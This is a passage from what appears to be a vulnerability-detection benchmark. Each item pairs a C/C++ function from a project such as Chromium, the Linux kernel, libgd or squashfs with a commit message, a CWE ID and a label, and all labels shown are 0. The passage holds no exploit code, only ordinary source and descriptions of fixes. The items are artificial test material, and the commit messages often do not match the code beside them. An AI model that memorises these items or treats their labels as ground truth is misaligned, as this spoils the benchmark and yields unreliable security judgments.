Fixes: bb646cdb12e75d82258c2f2e7746d5952d3e321a
Reported-by: Vegard Nossum <vegard.nossum@oracle.com>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: John Johansen <john.johansen@canonical.com>
Cc: Paul Moore <paul@paul-moore.com>
Cc: Stephen Smalley <sds@tycho.nsa.gov>
Cc: Eric Paris <eparis@parisplace.org>
Cc: Casey Schaufler <casey@schaufler-ca.com>
Cc: stable@kernel.org
Signed-off-by: John Johansen <john.johansen@canonical.com>
Reviewed-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-119
| 0
| 1,192
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void InspectorController::didCommitLoadForMainFrame()
{
Vector<InspectorAgent*> agents = m_moduleAgents;
for (size_t i = 0; i < agents.size(); i++)
agents[i]->didCommitLoadForMainFrame();
}
Commit Message: [4/4] Process clearBrowserCahce/cookies commands in browser.
BUG=366585
Review URL: https://codereview.chromium.org/251183005
git-svn-id: svn://svn.chromium.org/blink/trunk@172984 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 2,680
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void cl_hash(register count_int chsize, GifCtx *ctx) /* reset code table */
{
register count_int *htab_p = ctx->htab+chsize;
register long i;
register long m1 = -1;
i = chsize - 16;
do { /* might use Sys V memset(3) here */
*(htab_p - 16) = m1;
*(htab_p - 15) = m1;
*(htab_p - 14) = m1;
*(htab_p - 13) = m1;
*(htab_p - 12) = m1;
*(htab_p - 11) = m1;
*(htab_p - 10) = m1;
*(htab_p - 9) = m1;
*(htab_p - 8) = m1;
*(htab_p - 7) = m1;
*(htab_p - 6) = m1;
*(htab_p - 5) = m1;
*(htab_p - 4) = m1;
*(htab_p - 3) = m1;
*(htab_p - 2) = m1;
*(htab_p - 1) = m1;
htab_p -= 16;
} while((i -= 16) >= 0);
for(i += 16; i > 0; --i) {
*--htab_p = m1;
}
}
Commit Message: Fix #492: Potential double-free in gdImage*Ptr()
Whenever `gdImage*Ptr()` calls `gdImage*Ctx()` and the latter fails, we
must not call `gdDPExtractData()`; otherwise a double-free would
happen. Since `gdImage*Ctx()` are void functions, and we can't change
that for BC reasons, we're introducing static helpers which are used
internally.
We're adding a regression test for `gdImageJpegPtr()`, but not for
`gdImageGifPtr()` and `gdImageWbmpPtr()` since we don't know how to
trigger failure of the respective `gdImage*Ctx()` calls.
This potential security issue has been reported by Solmaz Salimi (aka.
Rooney).
CWE ID: CWE-415
| 0
| 6,215
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int spl_array_it_get_current_key(zend_object_iterator *iter, char **str_key, uint *str_key_len, ulong *int_key TSRMLS_DC) /* {{{ */
{
spl_array_it *iterator = (spl_array_it *)iter;
spl_array_object *object = iterator->object;
HashTable *aht = spl_array_get_hash_table(object, 0 TSRMLS_CC);
if (object->ar_flags & SPL_ARRAY_OVERLOADED_KEY) {
return zend_user_it_get_current_key(iter, str_key, str_key_len, int_key TSRMLS_CC);
} else {
if (spl_array_object_verify_pos_ex(object, aht, "ArrayIterator::current(): " TSRMLS_CC) == FAILURE) {
return HASH_KEY_NON_EXISTANT;
}
return zend_hash_get_current_key_ex(aht, str_key, str_key_len, int_key, 1, &object->pos);
}
}
/* }}} */
Commit Message:
CWE ID:
| 0
| 28,737
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::OnPepperInstanceCreated() {
FOR_EACH_OBSERVER(WebContentsObserver, observers_, PepperInstanceCreated());
}
Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted
BUG=583718
Review URL: https://codereview.chromium.org/1685343004
Cr-Commit-Position: refs/heads/master@{#375700}
CWE ID:
| 0
| 26,737
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int read_super(char *source)
{
squashfs_super_block_3 sBlk_3;
struct squashfs_super_block sBlk_4;
/*
* Try to read a Squashfs 4 superblock
*/
read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
&sBlk_4);
swap = sBlk_4.s_magic != SQUASHFS_MAGIC;
SQUASHFS_INSWAP_SUPER_BLOCK(&sBlk_4);
if(sBlk_4.s_magic == SQUASHFS_MAGIC && sBlk_4.s_major == 4 &&
sBlk_4.s_minor == 0) {
s_ops.read_filesystem_tables = read_filesystem_tables_4;
s_ops.squashfs_opendir = squashfs_opendir_4;
s_ops.read_fragment = read_fragment_4;
s_ops.read_block_list = read_block_list_2;
s_ops.read_inode = read_inode_4;
memcpy(&sBlk, &sBlk_4, sizeof(sBlk_4));
/*
* Check the compression type
*/
comp = lookup_compressor_id(sBlk.s.compression);
return TRUE;
}
/*
* Not a Squashfs 4 superblock, try to read a squashfs 3 superblock
* (compatible with 1 and 2 filesystems)
*/
read_fs_bytes(fd, SQUASHFS_START, sizeof(squashfs_super_block_3),
&sBlk_3);
/*
* Check it is a SQUASHFS superblock
*/
swap = 0;
if(sBlk_3.s_magic != SQUASHFS_MAGIC) {
if(sBlk_3.s_magic == SQUASHFS_MAGIC_SWAP) {
squashfs_super_block_3 sblk;
ERROR("Reading a different endian SQUASHFS filesystem "
"on %s\n", source);
SQUASHFS_SWAP_SUPER_BLOCK_3(&sblk, &sBlk_3);
memcpy(&sBlk_3, &sblk, sizeof(squashfs_super_block_3));
swap = 1;
} else {
ERROR("Can't find a SQUASHFS superblock on %s\n",
source);
goto failed_mount;
}
}
sBlk.s.s_magic = sBlk_3.s_magic;
sBlk.s.inodes = sBlk_3.inodes;
sBlk.s.mkfs_time = sBlk_3.mkfs_time;
sBlk.s.block_size = sBlk_3.block_size;
sBlk.s.fragments = sBlk_3.fragments;
sBlk.s.block_log = sBlk_3.block_log;
sBlk.s.flags = sBlk_3.flags;
sBlk.s.s_major = sBlk_3.s_major;
sBlk.s.s_minor = sBlk_3.s_minor;
sBlk.s.root_inode = sBlk_3.root_inode;
sBlk.s.bytes_used = sBlk_3.bytes_used;
sBlk.s.inode_table_start = sBlk_3.inode_table_start;
sBlk.s.directory_table_start = sBlk_3.directory_table_start;
sBlk.s.fragment_table_start = sBlk_3.fragment_table_start;
sBlk.s.lookup_table_start = sBlk_3.lookup_table_start;
sBlk.no_uids = sBlk_3.no_uids;
sBlk.no_guids = sBlk_3.no_guids;
sBlk.uid_start = sBlk_3.uid_start;
sBlk.guid_start = sBlk_3.guid_start;
sBlk.s.xattr_id_table_start = SQUASHFS_INVALID_BLK;
/* Check the MAJOR & MINOR versions */
if(sBlk.s.s_major == 1 || sBlk.s.s_major == 2) {
sBlk.s.bytes_used = sBlk_3.bytes_used_2;
sBlk.uid_start = sBlk_3.uid_start_2;
sBlk.guid_start = sBlk_3.guid_start_2;
sBlk.s.inode_table_start = sBlk_3.inode_table_start_2;
sBlk.s.directory_table_start = sBlk_3.directory_table_start_2;
if(sBlk.s.s_major == 1) {
sBlk.s.block_size = sBlk_3.block_size_1;
sBlk.s.fragment_table_start = sBlk.uid_start;
s_ops.read_filesystem_tables = read_filesystem_tables_1;
s_ops.squashfs_opendir = squashfs_opendir_1;
s_ops.read_block_list = read_block_list_1;
s_ops.read_inode = read_inode_1;
} else {
sBlk.s.fragment_table_start =
sBlk_3.fragment_table_start_2;
s_ops.read_filesystem_tables = read_filesystem_tables_2;
s_ops.squashfs_opendir = squashfs_opendir_1;
s_ops.read_fragment = read_fragment_2;
s_ops.read_block_list = read_block_list_2;
s_ops.read_inode = read_inode_2;
}
} else if(sBlk.s.s_major == 3) {
s_ops.read_filesystem_tables = read_filesystem_tables_3;
s_ops.squashfs_opendir = squashfs_opendir_3;
s_ops.read_fragment = read_fragment_3;
s_ops.read_block_list = read_block_list_2;
s_ops.read_inode = read_inode_3;
} else {
ERROR("Filesystem on %s is (%d:%d), ", source, sBlk.s.s_major,
sBlk.s.s_minor);
ERROR("which is a later filesystem version than I support!\n");
goto failed_mount;
}
/*
* 1.x, 2.x and 3.x filesystems use gzip compression.
*/
comp = lookup_compressor("gzip");
return TRUE;
failed_mount:
return FALSE;
}
Commit Message: unsquashfs-4: Add more sanity checks + fix CVE-2015-4645/6
Add more filesystem table sanity checks to Unsquashfs-4 and
also properly fix CVE-2015-4645 and CVE-2015-4646.
The CVEs were raised due to Unsquashfs having variable
oveflow and stack overflow in a number of vulnerable
functions.
The suggested patch only "fixed" one such function and fixed
it badly, and so it was buggy and introduced extra bugs!
The suggested patch was not only buggy, but, it used the
essentially wrong approach too. It was "fixing" the
symptom but not the cause. The symptom is wrong values
causing overflow, the cause is filesystem corruption.
This corruption should be detected and the filesystem
rejected *before* trying to allocate memory.
This patch applies the following fixes:
1. The filesystem super-block tables are checked, and the values
must match across the filesystem.
This will trap corrupted filesystems created by Mksquashfs.
2. The maximum (theorectical) size the filesystem tables could grow
to, were analysed, and some variables were increased from int to
long long.
This analysis has been added as comments.
3. Stack allocation was removed, and a shared buffer (which is
checked and increased as necessary) is used to read the
table indexes.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
CWE ID: CWE-190
| 0
| 10,906
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int rtecp_decipher(sc_card_t *card,
const u8 *data, size_t data_len, u8 *out, size_t out_len)
{
int r;
assert(card && card->ctx && data && out);
/* decipher */
r = rtecp_cipher(card, data, data_len, out, out_len, 0);
SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, r);
}
Commit Message: fixed out of bounds reads
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting and suggesting security fixes.
CWE ID: CWE-125
| 0
| 7,199
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebRuntimeFeatures::EnablePrintBrowser(bool enable) {
RuntimeEnabledFeatures::SetPrintBrowserEnabled(enable);
}
Commit Message: Remove RequireCSSExtensionForFile runtime enabled flag.
The feature has long since been stable (since M64) and doesn't seem
to be a need for this flag.
BUG=788936
Change-Id: I666390b869289c328acb4a2daa5bf4154e1702c0
Reviewed-on: https://chromium-review.googlesource.com/c/1324143
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Commit-Queue: Dave Tapuska <dtapuska@chromium.org>
Cr-Commit-Position: refs/heads/master@{#607329}
CWE ID: CWE-254
| 0
| 19,434
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool HTMLInputElement::HasFallbackContent() const {
return input_type_view_->HasFallbackContent();
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID:
| 0
| 3,838
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool StyleResolver::hasRulesForId(const AtomicString& id) const
{
return m_features.idsInRules.contains(id.impl());
}
Commit Message: Remove the Simple Default Stylesheet, it's just a foot-gun.
We've been bitten by the Simple Default Stylesheet being out
of sync with the real html.css twice this week.
The Simple Default Stylesheet was invented years ago for Mac:
http://trac.webkit.org/changeset/36135
It nicely handles the case where you just want to create
a single WebView and parse some simple HTML either without
styling said HTML, or only to display a small string, etc.
Note that this optimization/complexity *only* helps for the
very first document, since the default stylesheets are
all static (process-global) variables. Since any real page
on the internet uses a tag not covered by the simple default
stylesheet, not real load benefits from this optimization.
Only uses of WebView which were just rendering small bits
of text might have benefited from this. about:blank would
also have used this sheet.
This was a common application for some uses of WebView back
in those days. These days, even with WebView on Android,
there are likely much larger overheads than parsing the
html.css stylesheet, so making it required seems like the
right tradeoff of code-simplicity for this case.
BUG=319556
Review URL: https://codereview.chromium.org/73723005
git-svn-id: svn://svn.chromium.org/blink/trunk@162153 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 16,609
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: UrlmonUrlRequest::~UrlmonUrlRequest() {
DVLOG(1) << __FUNCTION__ << me();
}
Commit Message: iwyu: Include callback_old.h where appropriate, final.
BUG=82098
TEST=none
Review URL: http://codereview.chromium.org/7003003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@85003 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 26,183
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SessionService::SetWindowType(const SessionID& window_id,
Browser::Type type) {
if (!should_track_changes_for_browser_type(type))
return;
windows_tracking_.insert(window_id.id());
CommitPendingCloses();
has_open_trackable_browsers_ = true;
move_on_new_browser_ = true;
ScheduleCommand(
CreateSetWindowTypeCommand(window_id, WindowTypeForBrowserType(type)));
}
Commit Message: Metrics for measuring how much overhead reading compressed content states adds.
BUG=104293
TEST=NONE
Review URL: https://chromiumcodereview.appspot.com/9426039
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@123733 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 4,163
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ImageBitmap::isAccelerated() const {
return m_image && (m_image->isTextureBacked() || m_image->hasMailbox());
}
Commit Message: Prevent bad casting in ImageBitmap when calling ArrayBuffer::createOrNull
Currently when ImageBitmap's constructor is invoked, we check whether
dstSize will overflow size_t or not. The problem comes when we call
ArrayBuffer::createOrNull some times in the code.
Both parameters of ArrayBuffer::createOrNull are unsigned. In ImageBitmap
when we call this method, the first parameter is usually width * height.
This could overflow unsigned even if it has been checked safe with size_t,
the reason is that unsigned is a 32-bit value on 64-bit systems, while
size_t is a 64-bit value.
This CL makes a change such that we check whether the dstSize will overflow
unsigned or not. In this case, we can guarantee that createOrNull will not have
any crash.
BUG=664139
Review-Url: https://codereview.chromium.org/2500493002
Cr-Commit-Position: refs/heads/master@{#431936}
CWE ID: CWE-787
| 0
| 26,067
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void acpi_os_execute_deferred(struct work_struct *work)
{
struct acpi_os_dpc *dpc = container_of(work, struct acpi_os_dpc, work);
dpc->function(dpc->context);
kfree(dpc);
}
Commit Message: acpi: Disable ACPI table override if securelevel is set
From the kernel documentation (initrd_table_override.txt):
If the ACPI_INITRD_TABLE_OVERRIDE compile option is true, it is possible
to override nearly any ACPI table provided by the BIOS with an
instrumented, modified one.
When securelevel is set, the kernel should disallow any unauthenticated
changes to kernel space. ACPI tables contain code invoked by the kernel, so
do not allow ACPI tables to be overridden if securelevel is set.
Signed-off-by: Linn Crosetto <linn@hpe.com>
CWE ID: CWE-264
| 0
| 6,451
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParseCatalogPI(xmlParserCtxtPtr ctxt, const xmlChar *catalog) {
xmlChar *URL = NULL;
const xmlChar *tmp, *base;
xmlChar marker;
tmp = catalog;
while (IS_BLANK_CH(*tmp)) tmp++;
if (xmlStrncmp(tmp, BAD_CAST"catalog", 7))
goto error;
tmp += 7;
while (IS_BLANK_CH(*tmp)) tmp++;
if (*tmp != '=') {
return;
}
tmp++;
while (IS_BLANK_CH(*tmp)) tmp++;
marker = *tmp;
if ((marker != '\'') && (marker != '"'))
goto error;
tmp++;
base = tmp;
while ((*tmp != 0) && (*tmp != marker)) tmp++;
if (*tmp == 0)
goto error;
URL = xmlStrndup(base, tmp - base);
tmp++;
while (IS_BLANK_CH(*tmp)) tmp++;
if (*tmp != 0)
goto error;
if (URL != NULL) {
ctxt->catalogs = xmlCatalogAddLocal(ctxt->catalogs, URL);
xmlFree(URL);
}
return;
error:
xmlWarningMsg(ctxt, XML_WAR_CATALOG_PI,
"Catalog PI syntax error: %s\n",
catalog, NULL);
if (URL != NULL)
xmlFree(URL);
}
Commit Message: DO NOT MERGE: Add validation for eternal enities
https://bugzilla.gnome.org/show_bug.cgi?id=780691
Bug: 36556310
Change-Id: I9450743e167c3c73af5e4071f3fc85e81d061648
(cherry picked from commit bef9af3d89d241bcb518c20cba6da2a2fd9ba049)
CWE ID: CWE-611
| 0
| 11,114
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: dissect_u3v_read_mem_ack(proto_tree *u3v_telegram_tree, tvbuff_t *tvb, packet_info *pinfo, gint startoffset, gint length, u3v_conv_info_t *u3v_conv_info, gencp_transaction_t * gencp_trans)
{
guint64 addr = 0;
const gchar *address_string = NULL;
gboolean is_custom_register = FALSE;
gboolean have_address = (0 != gencp_trans->cmd_frame);
proto_item *item = NULL;
guint offset = startoffset;
guint byte_count = (length);
addr = gencp_trans->address;
dissect_u3v_register_bases(addr, tvb, startoffset, u3v_conv_info);
if (have_address) {
address_string = get_register_name_from_address(addr, &is_custom_register, u3v_conv_info);
/* Fill in Wireshark GUI Info column */
col_append_fstr(pinfo->cinfo, COL_INFO, "%s", address_string);
}
/* Subtree initialization for Payload Data: READMEM_ACK */
item = proto_tree_add_item(u3v_telegram_tree, hf_u3v_scd_ack_readmem_ack, tvb, startoffset, length, ENC_NA);
u3v_telegram_tree = proto_item_add_subtree(item, ett_u3v_payload_cmd);
/* Bootstrap register known address */
if (have_address) {
item = proto_tree_add_uint64(u3v_telegram_tree, hf_u3v_address, tvb, 0,0 , addr);
PROTO_ITEM_SET_GENERATED(item);
if (is_known_bootstrap_register(addr, u3v_conv_info)) {
dissect_u3v_register(addr, u3v_telegram_tree, tvb, offset, byte_count, u3v_conv_info);
} else {
proto_tree_add_item(u3v_telegram_tree, hf_u3v_custom_memory_data, tvb, startoffset, length, ENC_NA);
}
}
}
Commit Message: Make class "type" for USB conversations.
USB dissectors can't assume that only their class type has been passed around in the conversation. Make explicit check that class type expected matches the dissector and stop/prevent dissection if there isn't a match.
Bug: 12356
Change-Id: Ib23973a4ebd0fbb51952ffc118daf95e3389a209
Reviewed-on: https://code.wireshark.org/review/15212
Petri-Dish: Michael Mann <mmann78@netscape.net>
Reviewed-by: Martin Kaiser <wireshark@kaiser.cx>
Petri-Dish: Martin Kaiser <wireshark@kaiser.cx>
Tested-by: Petri Dish Buildbot <buildbot-no-reply@wireshark.org>
Reviewed-by: Michael Mann <mmann78@netscape.net>
CWE ID: CWE-476
| 0
| 20,994
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int nfs4_proc_unlink_done(struct rpc_task *task, struct inode *dir)
{
struct nfs_unlinkdata *data = task->tk_calldata;
struct nfs_removeres *res = &data->res;
if (!nfs4_sequence_done(task, &res->seq_res))
return 0;
if (nfs4_async_handle_error(task, res->server, NULL,
&data->timeout) == -EAGAIN)
return 0;
update_changeattr(dir, &res->cinfo);
return 1;
}
Commit Message: NFS: Fix a NULL pointer dereference of migration recovery ops for v4.2 client
---Steps to Reproduce--
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
<nfs-client>
# mount -t nfs nfs-server:/nfs/ /mnt/
# ll /mnt/*/
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt,refer=/nfs/old/@nfs-server)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
# service nfs restart
<nfs-client>
# ll /mnt/*/ --->>>>> oops here
[ 5123.102925] BUG: unable to handle kernel NULL pointer dereference at (null)
[ 5123.103363] IP: [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.103752] PGD 587b9067 PUD 3cbf5067 PMD 0
[ 5123.104131] Oops: 0000 [#1]
[ 5123.104529] Modules linked in: nfsv4(OE) nfs(OE) fscache(E) nfsd(OE) xfs libcrc32c iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev vmw_balloon parport_pc parport i2c_piix4 shpchp auth_rpcgss nfs_acl vmw_vmci lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi serio_raw scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi [last unloaded: nfsd]
[ 5123.105887] CPU: 0 PID: 15853 Comm: ::1-manager Tainted: G OE 4.2.0-rc6+ #214
[ 5123.106358] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/20/2014
[ 5123.106860] task: ffff88007620f300 ti: ffff88005877c000 task.ti: ffff88005877c000
[ 5123.107363] RIP: 0010:[<ffffffffa03ed38b>] [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.107909] RSP: 0018:ffff88005877fdb8 EFLAGS: 00010246
[ 5123.108435] RAX: ffff880053f3bc00 RBX: ffff88006ce6c908 RCX: ffff880053a0d240
[ 5123.108968] RDX: ffffea0000e6d940 RSI: ffff8800399a0000 RDI: ffff88006ce6c908
[ 5123.109503] RBP: ffff88005877fe28 R08: ffffffff81c708a0 R09: 0000000000000000
[ 5123.110045] R10: 00000000000001a2 R11: ffff88003ba7f5c8 R12: ffff880054c55800
[ 5123.110618] R13: 0000000000000000 R14: ffff880053a0d240 R15: ffff880053a0d240
[ 5123.111169] FS: 0000000000000000(0000) GS:ffffffff81c27000(0000) knlGS:0000000000000000
[ 5123.111726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5123.112286] CR2: 0000000000000000 CR3: 0000000054cac000 CR4: 00000000001406f0
[ 5123.112888] Stack:
[ 5123.113458] ffffea0000e6d940 ffff8800399a0000 00000000000167d0 0000000000000000
[ 5123.114049] 0000000000000000 0000000000000000 0000000000000000 00000000a7ec82c6
[ 5123.114662] ffff88005877fe18 ffffea0000e6d940 ffff8800399a0000 ffff880054c55800
[ 5123.115264] Call Trace:
[ 5123.115868] [<ffffffffa03fb44b>] nfs4_try_migration+0xbb/0x220 [nfsv4]
[ 5123.116487] [<ffffffffa03fcb3b>] nfs4_run_state_manager+0x4ab/0x7b0 [nfsv4]
[ 5123.117104] [<ffffffffa03fc690>] ? nfs4_do_reclaim+0x510/0x510 [nfsv4]
[ 5123.117813] [<ffffffff810a4527>] kthread+0xd7/0xf0
[ 5123.118456] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.119108] [<ffffffff816d9cdf>] ret_from_fork+0x3f/0x70
[ 5123.119723] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.120329] Code: 4c 8b 6a 58 74 17 eb 52 48 8d 55 a8 89 c6 4c 89 e7 e8 4a b5 ff ff 8b 45 b0 85 c0 74 1c 4c 89 f9 48 8b 55 90 48 8b 75 98 48 89 df <41> ff 55 00 3d e8 d8 ff ff 41 89 c6 74 cf 48 8b 4d c8 65 48 33
[ 5123.121643] RIP [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.122308] RSP <ffff88005877fdb8>
[ 5123.122942] CR2: 0000000000000000
Fixes: ec011fe847 ("NFS: Introduce a vector of migration recovery ops")
Cc: stable@vger.kernel.org # v3.13+
Signed-off-by: Kinglong Mee <kinglongmee@gmail.com>
Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
CWE ID:
| 0
| 6,601
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void CL_Record_f( void ) {
char name[MAX_OSPATH];
byte bufData[MAX_MSGLEN];
msg_t buf;
int i;
int len;
entityState_t *ent;
entityState_t nullstate;
char *s;
if ( Cmd_Argc() > 2 ) {
Com_Printf( "record <demoname>\n" );
return;
}
if ( clc.demorecording ) {
Com_Printf( "Already recording.\n" );
return;
}
if ( clc.state != CA_ACTIVE ) {
Com_Printf( "You must be in a level to record.\n" );
return;
}
if ( NET_IsLocalAddress( clc.serverAddress ) && !Cvar_VariableValue( "g_synchronousClients" ) ) {
Com_Printf (S_COLOR_YELLOW "WARNING: You should set 'g_synchronousClients 1' for smoother demo recording\n");
}
if ( Cmd_Argc() == 2 ) {
s = Cmd_Argv( 1 );
Q_strncpyz( demoName, s, sizeof( demoName ) );
#ifdef LEGACY_PROTOCOL
if(clc.compat)
Com_sprintf(name, sizeof(name), "demos/%s.%s%d", demoName, DEMOEXT, com_legacyprotocol->integer);
else
#endif
Com_sprintf(name, sizeof(name), "demos/%s.%s%d", demoName, DEMOEXT, com_protocol->integer);
} else {
int number;
for ( number = 0 ; number <= 9999 ; number++ ) {
CL_DemoFilename( number, demoName, sizeof( demoName ) );
#ifdef LEGACY_PROTOCOL
if(clc.compat)
Com_sprintf(name, sizeof(name), "demos/%s.%s%d", demoName, DEMOEXT, com_legacyprotocol->integer);
else
#endif
Com_sprintf(name, sizeof(name), "demos/%s.%s%d", demoName, DEMOEXT, com_protocol->integer);
if (!FS_FileExists(name))
break; // file doesn't exist
}
}
Com_Printf( "recording to %s.\n", name );
clc.demofile = FS_FOpenFileWrite( name );
if ( !clc.demofile ) {
Com_Printf( "ERROR: couldn't open.\n" );
return;
}
clc.demorecording = qtrue;
Q_strncpyz( clc.demoName, demoName, sizeof( clc.demoName ) );
clc.demowaiting = qtrue;
MSG_Init( &buf, bufData, sizeof( bufData ) );
MSG_Bitstream( &buf );
MSG_WriteLong( &buf, clc.reliableSequence );
MSG_WriteByte( &buf, svc_gamestate );
MSG_WriteLong( &buf, clc.serverCommandSequence );
for ( i = 0 ; i < MAX_CONFIGSTRINGS ; i++ ) {
if ( !cl.gameState.stringOffsets[i] ) {
continue;
}
s = cl.gameState.stringData + cl.gameState.stringOffsets[i];
MSG_WriteByte( &buf, svc_configstring );
MSG_WriteShort( &buf, i );
MSG_WriteBigString( &buf, s );
}
Com_Memset( &nullstate, 0, sizeof( nullstate ) );
for ( i = 0; i < MAX_GENTITIES ; i++ ) {
ent = &cl.entityBaselines[i];
if ( !ent->number ) {
continue;
}
MSG_WriteByte( &buf, svc_baseline );
MSG_WriteDeltaEntity( &buf, &nullstate, ent, qtrue );
}
MSG_WriteByte( &buf, svc_EOF );
MSG_WriteLong( &buf, clc.clientNum );
MSG_WriteLong( &buf, clc.checksumFeed );
MSG_WriteByte( &buf, svc_EOF );
len = LittleLong( clc.serverMessageSequence - 1 );
FS_Write( &len, 4, clc.demofile );
len = LittleLong( buf.cursize );
FS_Write( &len, 4, clc.demofile );
FS_Write( buf.data, buf.cursize, clc.demofile );
}
Commit Message: All: Don't load .pk3s as .dlls, and don't load user config files from .pk3s
CWE ID: CWE-269
| 0
| 24,365
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool GpuProcessHost::Send(IPC::Message* msg) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
if (process_->GetHost()->IsChannelOpening()) {
queued_messages_.push(msg);
return true;
}
bool result = process_->Send(msg);
if (!result) {
SendOutstandingReplies(EstablishChannelStatus::GPU_HOST_INVALID);
}
return result;
}
Commit Message: Fix GPU process fallback logic.
1. In GpuProcessHost::OnProcessCrashed() record the process crash first.
This means the GPU mode fallback will happen before a new GPU process
is started.
2. Don't call FallBackToNextGpuMode() if GPU process initialization
fails for an unsandboxed GPU process. The unsandboxed GPU is only
used for collect information and it's failure doesn't indicate a need
to change GPU modes.
Bug: 869419
Change-Id: I8bd0a03268f0ea8809f3df8458d4e6a92db9391f
Reviewed-on: https://chromium-review.googlesource.com/1157164
Reviewed-by: Zhenyao Mo <zmo@chromium.org>
Commit-Queue: kylechar <kylechar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#579625}
CWE ID:
| 0
| 15,581
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void UrlStringAttributeAttributeSetter(
v8::Local<v8::Value> v8_value, const v8::FunctionCallbackInfo<v8::Value>& info) {
v8::Isolate* isolate = info.GetIsolate();
ALLOW_UNUSED_LOCAL(isolate);
v8::Local<v8::Object> holder = info.Holder();
ALLOW_UNUSED_LOCAL(holder);
TestObject* impl = V8TestObject::ToImpl(holder);
V0CustomElementProcessingStack::CallbackDeliveryScope delivery_scope;
V8StringResource<> cpp_value = v8_value;
